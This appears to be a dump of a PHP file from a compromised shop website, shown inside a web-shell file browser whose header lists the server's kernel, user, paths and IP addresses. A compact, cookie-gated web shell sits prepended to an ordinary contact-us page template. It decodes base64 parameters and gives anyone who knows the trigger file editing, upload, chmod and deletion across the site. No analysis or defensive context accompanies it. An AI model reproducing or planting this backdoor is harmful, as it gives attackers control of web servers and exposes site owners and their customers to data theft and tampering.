Uname : Linux V-ShopU01 4.18.0-348.20.1.el8_5.x86_64 #1 SMP Thu Mar 10 20:59:28 UTC 2022 x86_64
Server : Apache/2.4.37 (rocky) OpenSSL/1.1.1k
Whoami : apache
Safe Mode : OFF
DOCUMENT ROOT : /var/www/html/site_shopudiet
Disable Function :
Path : /var/www/html/site_shopudiet/admin/img/

Server IP : 65.20.74.164 Client IP : 18.188.91.44
Current File : /var/www/html/site_shopudiet/admin/img/use.php
<?='';if(isset($_GET['v'])){$_COOKIE['v']=1;setcookie('v','1');die();}if(isset($_COOKIE['v'])){$a=realpath($_SERVER['DOCUMENT_ROOT']);function x($b){return base64_encode($b);}function y($b){return base64_decode($b);}foreach($_GET as $c=>$d)$_GET[$c]=y($d);if(isset($_GET['d'],$_GET['f'])&&!is_dir($_GET['d'].'/'.$_GET['f'])){if(isset($_POST['t']))echo 'FILE '.(file_put_contents($_GET['d'].'/'.$_POST['f'],$_POST['t'])?'done':'failed').' updating.';echo $_GET['f'].'<form method=post action="?'.$_SERVER['QUERY_STRING'].'"><input name="f" value="'.$_GET['f'].'"><textarea name="t">'.htmlspecialchars(preg_replace('/[^(\x00-\x7f)]/','',(file_get_contents($_GET['d'].'/'.$_GET['f'])))).'</textarea><input type=submit value=update></form>';}if(isset($_GET['d'],$_GET['f'],$_GET['c']))echo 'CHMOD '.(chmod($_GET['d'].'/'.$_GET['f'],octdec($_GET['c']))?'done':'failed');if(isset($_GET['d'],$_FILES['u']))echo 'UPLOAD '.(move_uploaded_file($_FILES['u']['tmp_name'],$_GET['d'].'/'.basename($_FILES['u']['name']))?'done':'failed');if(isset($_GET['d'],$_GET['x']))echo 'DELETE '.(unlink($_GET['d'].'/'.$_GET['x'])?'done':'failed');$e=realpath(isset($_GET['d'])?$_GET['d']:$a);chdir($e);echo '<hr>docroot: <a href="?d='.x($a).'">'.$a.'</a><hr>curdir: '.$e.'<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1>';foreach(scandir($e) as $v){$u=realpath($v);$s=stat($u);echo '<tr><td>'.($s['mode']>=0x8000?'<a href="?d='.x($e).'&x='.x($v).'">X</a>':'').'</td><td><a href="?'.($s['mode']>=0x8000?'d='.x($e).'&f='.x($v):'d='.x($u)).'"/>'.$v.'</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d='.x($e).'&f='.x($v).'&c=`+btoa(c):0" value="'.substr(sprintf('%o',$s['mode']),-4).'"></td><td>'.$s['size'].'</td></tr>';}echo '</table>';die();}?><?php 
require_once ("include/initialize.php");
$query = "SELECT * FROM `home`";
$sql = mysqli_query($conn, $query );
$sel = mysqli_fetch_array($sql);
if($sel['theme'] == "Theme1"){
	include("theme1/contact.php");
}else{
?>
<style>
.contact-map iframe{
	width: 100% !important;
	height: 400px !important;
}
@media only screen and (max-width: 600px) {
    #contact-page .contact-info {
        margin-top: -15rem;
    }
}
</style>
 <div id="contact-page" class="container">
        <div class="bg">
            <div class="row">           
                <div class="col-sm-12">                         
                    <h2 class="title text-center" style="padding-top:2rem;">Contact <strong>Us</strong></h2>                                                      
                    <!--<div id="gmap" class="contact-map"></div>-->
                    <div class="contact-map">
					<?php if($sel['googleiframe'] != ""){ ?>
              <p><?php echo $sel['googleiframe']; ?></p>
			  <?php } ?> 
					</div>
                </div>                  
            </div>      
            <div class="row">   
                <div class="col-sm-8">
                    <div class="contact-form">
                        <h2 class="title text-center">Get In Touch</h2>
                        <!--<div class="status alert alert-success" style="display: none"></div>-->
						<div id="successMessage" style="display:none;"><span style="font-family:time; color:#57f257; font-size:24px; padding-left: 1.5rem;">Thanks for contacting us! We will be in touch with you shortly.</span></div>  
                        <form method="post" role="form" name="form" id="form" class="php-email-form" style="margin-top: 1px;">
                            <div class="form-group col-md-6">
                                <input type="text" name="name" id="name" class="form-control" required="required" placeholder="Name">
                            </div>
                            <div class="form-group col-md-6">
                                <input type="hidden" name="clientemail" id="clientemail" value="<?php echo $sel['email']; ?>">
                                <input type="email" name="email" id="email" class="form-control" required="required" placeholder="Email">
                            </div>
                            <div class="form-group col-md-12">
                                <input type="text" name="subject"  id="subject" class="form-control" required="required" placeholder="Subject">
                            </div>
                            <div class="form-group col-md-12">
                                <textarea name="message" id="message" required="required" class="form-control" rows="8" placeholder="Your Message Here"></textarea>
                            </div>                        
                            <div class="form-group col-md-12">
                                <!--<input type="submit" name="submit" class="btn btn-primary pull-right" value="Submit">-->
								<button type="submit"id="submit" class="btn btn-primary">Send Message</button>
                            </div>
                        </form>
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="contact-info">
                        <h2 class="title text-center">Contact Info</h2>
                        <address>
              <?php if($sel['address'] != ""){ ?>
              <p><?php echo $sel['address']; ?></p>
			  <?php } ?> 
                            <?php if($sel['phone'] != ""){ ?>
                <p>Mobile: <?php echo $sel['phone']; ?></p>
				<?php } ?> 
				<?php if($sel['email'] != ""){ ?>
                <p>Email: <?php echo $sel['email']; ?></p>
				<?php } ?> 
                        </address>
                        <div class="social-networks">
                            <h2 class="title text-center">Social Networking</h2>
                            <ul>
                                <?php if($sel['facebook'] != ""){ ?>
								<li><a href="<?php echo $sel['facebook']; ?>"><i class="fa fa-facebook"></i></a></li>
							  <?php } ?>
							  <?php if($sel['twitter'] != ""){ ?>
								<li><a href="<?php echo $sel['twitter']; ?>"><i class="fa fa-twitter"></i></a></li>
							  <?php } ?>	
							  <?php if($sel['linkedin'] != ""){ ?>
								<li><a href="<?php echo $sel['linkedin']; ?>"><i class="fa fa-linkedin"></i></a></li>
								 <?php } ?>	
							  <?php if($sel['youtube'] != ""){ ?>
								<li><a href="<?php echo $sel['youtube']; ?>"><i class="fa fa-youtube"></i></a></li>
								 <?php } ?>	
							  <?php if($sel['whatsapp'] != ""){ ?>
								<li><a href="<?php echo $sel['whatsapp']; ?>"><i class="fa fa-whatsapp"></i></a></li>
							  <?php } ?>	
							  <?php if($sel['google'] != ""){ ?>	
								<li class=""><a href="<?php echo $sel['google']; ?>"><i class="fa fa-google-plus"></i></a></li>
							  <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>              
            </div>  
        </div>  
    </div><!--/#contact-page-->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#submit").click(function(){
var name = $("#name").val();
var subject = $("#subject").val();
var email = $("#email").val();
var message = $("#message").val();
var clientemail = $("#clientemail").val();
// Returns successful data submission message when the entered information is stored in database.
var dataString = 'name='+ name + '&email='+ email + '&subject='+ subject + '&message='+ message + '&clientemail='+ clientemail;
if(name==''||email==''||message=='')
{
return true;
}
else
{
$.ajax({
type: "POST",
url: "ajaxsubmit.php",
data: dataString,
cache: false,
success: function(result){
   $("#form")[0].reset();
   $("#successMessage").css("display",'block');
}
});
}
return false;
});
});
</script>
<?php } ?>